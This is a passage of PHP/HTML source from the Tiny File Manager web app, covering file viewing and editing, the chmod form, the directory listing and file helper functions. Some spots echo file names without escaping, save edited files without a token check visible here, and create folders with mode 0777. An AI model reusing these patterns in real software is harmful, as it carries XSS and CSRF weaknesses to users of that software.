                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                        class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('AdvancedEditor') ?>
                    </a>
                <?php } ?>
                <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
            </div>
            <div class="row mt-3">
                <?php
                if ($is_onlineViewer) {
                    if ($online_viewer == 'google') {
                        echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    } else if ($online_viewer == 'microsoft') {
                        echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    }
                } elseif ($is_zip) {
                    // ZIP content
                    if ($filenames !== false) {
                        echo '<code class="maxheight">';
                        foreach ($filenames as $fn) {
                            if ($fn['folder']) {
                                echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                            } else {
                                echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                            }
                        }
                        echo '</code>';
                    } else {
                        echo '<p>' . lng('Error while fetching archive info') . '</p>';
                    }
                } elseif ($is_image) {
                    // Image content
                    if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                        echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                    }
                } elseif ($is_audio) {
                    // Audio content
                    echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
                } elseif ($is_video) {
                    // Video content
                    echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
                } elseif ($is_text) {
                    if (FM_USE_HIGHLIGHTJS) {
                        // highlight
                        $hljs_classes = array(
                            'shtml' => 'xml',
                            'htaccess' => 'apache',
                            'phtml' => 'php',
                            'lock' => 'json',
                            'svg' => 'xml',
                        );
                        $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                        if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                            $hljs_class = 'nohighlight';
                        }
                        $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                    } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                        // php highlight
                        $content = highlight_string($content, true);
                    } else {
                        $content = '<pre>' . fm_enc($content) . '</pre>';
                    }
                    echo $content;
                }
                ?>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>' . $file . '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block">
                                <option>-- <?php echo lng('Select Mode') ?> --</option>
                            </select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Theme') ?> --</option>
                            </select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Font Size') ?> --</option>
                            </select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <div class="btn-group">
                    <a title=" <?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                    <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                    <?php if ($is_text) { ?>
                        <?php if ($isNormalEditor) { ?>
                            <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                            </button>
                        <?php } else { ?>
                            <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                            </button>
                        <?php } ?>
                    <?php } ?>
                </div>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
<?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
?>
    <div class="path">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table" data-bs-theme="<?php echo FM_THEME; ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1" <?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1" <?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1" <?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1" <?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1" <?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1" <?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1" <?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1" <?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1" <?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm" id="main-table" data-bs-theme="<?php echo FM_THEME; ?>">
            <thead class="thead-white">
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <th style="width:3%" class="custom-checkbox-header">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                                <label class="custom-control-label" for="js-select-all-items"></label>
                            </div>
                        </th><?php endif; ?>
                    <th><?php echo lng('Name') ?></th>
                    <th><?php echo lng('Size') ?></th>
                    <th><?php echo lng('Modified') ?></th>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <th><?php echo lng('Perms') ?></th>
                        <th><?php echo lng('Owner') ?></th><?php endif; ?>
                    <th><?php echo lng('Actions') ?></th>
                </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
            ?>
                <tr><?php if (!FM_READONLY): ?>
                        <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
            <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                            </div>
                        </td>
                    <?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename">
                            <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?></a>
                            <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td>
                            <?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td>
                            <?php echo $owner['name'] . ':' . $group['name'] ?>
                        </td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete') . ' ' . lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ii++;
            }
            $ik = 8002;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                            </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                            <?php
                            if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                                <?php else: ?>
                                    <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                                    <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                    </a>
                                    <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                            <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                                href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
            <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray fs-7" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' : '7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize') . ': <span class="badge text-bg-light border-radius-0">' . fm_get_filesize($all_files_size) . '</span>' ?>
                            <?php echo lng('File') . ': <span class="badge text-bg-light border-radius-0">' . $num_files . '</span>' ?>
                            <?php echo lng('Folder') . ': <span class="badge text-bg-light border-radius-0">' . $num_folders . '</span>' ?>
                        </td>
                    </tr>
                </tfoot>
            <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
            <div class="col-xs-12 col-sm-9">
                <div class="btn-group flex-wrap" data-toggle="buttons" role="toolbar">
                    <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a>
                    <a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a>
                    <a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a>
                    <input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a>
                    <input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a>
                    <input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a>
                    <input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a>
                </div>
            </div>
            <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key)
{
    global $external;

    if (!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token)
{
    if (hash_equals($_SESSION['token'], $token)) {
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if (!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (!is_dir($path) && !is_file($path)) {
        return false;
    }

    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }

        $objects = array_diff(scandir($path), ['.', '..']);

        foreach ($objects as $file) {
            if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
                return false;
            }
        }

        return true;
    }

    // Handle file copying
    return fm_copy($path, $dest, $upd);
}


/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
